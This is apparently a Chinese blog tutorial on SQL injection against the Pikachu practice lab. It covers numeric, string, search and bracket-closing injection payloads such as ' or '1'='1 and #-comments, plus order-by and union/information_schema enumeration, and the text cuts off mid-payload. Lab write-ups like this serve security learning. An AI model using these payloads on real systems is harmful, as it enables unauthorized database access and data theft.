pikachu平台之sql注入

参考链接

原理

SQL注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。
在这里插入图片描述

基本流程
1.2SQL注入攻击流程
第一步:注入点探测

自动方式:使用web漏洞扫描工具,自动进行注入点发现
手动方式:手工构造SQL注入测试语句进行注入点发现
第二步:信息获取

  通过注入点取得期望得到的数据

1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
2.数据库信息:数据库蜜罐,数据库表,表字段,字段内容等(加密内容破解)
第三步:获取权限

获取操作系统权限:通过数据库执行shell,上传木马
注入点类型
分类根据:输入的变量传入到SQL语句是以什么类型拼接的

数字型:user_id=$id
字符型:user_id=‘$id‘
搜索型:text LIKE%{
   $_GET[‘search‘]}%‘"
数字型注入(POST)

这里可以根据我们选择的 userid 返回用户名和邮箱,简单的查询
在这里插入图片描述
可以看出是一个指定数字的查询,而且是一个post方法的,burp抓包看看
在这里插入图片描述
看到id,猜测直接修改id是否可以

修改id后可以直接查询,猜测后台可能存在sql注入漏洞,猜测查询语句为

select name,email from table where id=$id;

所以在burp里直接改id=1 or 1=1,这样的话,该语句就会变成

select name,email from table where id=1 or 1=1;

即where 1了,即将所有成员查询出来了。试一下
在这里插入图片描述
攻击成功!!

字符型注入(GET)

打开网页,输入lili,可以看出是GET方法
在这里插入图片描述
同上题思路猜测后台查询语句

select id,email from member where username='$name';

但这次明显是根据字符串的查询,所以我们的1=1,就不行了,所以构造or ‘1’=‘1’,但是我们要想试一下
在这里插入图片描述
但是明显会有错误,所以我们要想着闭合语句。a' or '1'='1,这样的话,后台查询语句就会变成

select id,email from member where username='a or '1='1';

就会返回所有元组,尝试攻击
在这里插入图片描述
攻击成功!
当然这个,我们后边的'也可以注释掉
MySQL中有3种注释:

① #
② -- (最后面有个空格)
③ /**/,内联注释,这个可以在SQL语句中间使用。select * from /*sqli*/ users;
搜索型注入

打开网页,发现是可以输入一部分即可查询
在这里插入图片描述
猜测后台语句如下

select username,id,email from member where username like '%$name%'

所以我们想到构造语句a%' or '1'='1'#
也就是

select username,id,email from member where username like '%a%' or '1'='1'#%';

也就可以返回所有元组了,尝试攻击
在这里插入图片描述
攻击成功!

XX型注入

这里查看一下后台代码
在这里插入图片描述
想着怎么闭合,a')or 1=1#
尝试攻击
在这里插入图片描述
攻击成功!

通过information_schema拿下数据库
union和information_schema

information_schema的背景知识

SCHEMATA:提供了MySQL实例中所有数据库的信息,show databases 的结果来自这个表。
TABLES:提供了关于数据库中表的信息(包括视图)。描述了某个表属于哪个数据库。
COLUMNS:提供了表中各列的信息,描述了某种表的所有列以及每个列的信息。

传送门
传送门

通过联合查询来查询指定的数据,比如下面的语句

select username,password from user where id=1 union select 字段1,字段2 from 表名

联合查询的字段数需要和主查询一致,上面主查询查询了 2 个字段 username 和 password,所以我们的 union 语句也要查询两个字段。
我们可以通过用databases(),user(),version()查询数据库的数据库、用户和版本信息。

select database();
select user();
select version();

使用 union 需要知道主查询有多少个 字段,我们可以用 order by 来帮助我们猜测后台查询语句查询的字段数。

select 字段1,字段2 from users order by 1

后面跟着的数字表示根据查询结果的第几列进行排序,如果后台查询 2 个字段,那我们 order by 3 时就会报错,order by 2 时会正常返回,根据后台返回的结果我们就能知道后台有 2 个查询字段
在这里插入图片描述

选择pikachu平台得字符型注入进行测试,输入单引号发现存在注入
在这里插入图片描述
我们继续利用 SQL注入漏洞,获取基础信息,我们先用 order by 确认主查询有多少个字段

‘ or 1=1 order by 1#
‘ or 1=1 order by 2#
‘ or 1=1 order by 3#

当 odery by 3时报错,说明主查询中有 2 个字段在这里插入图片描述
下面可以用 union 查询更多信息,数据库名称为 pikachu
在这里插入图片描述
下面利用 information_shcema 查询 pikachu 中的表名

‘ union select table_schema,table_name 
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值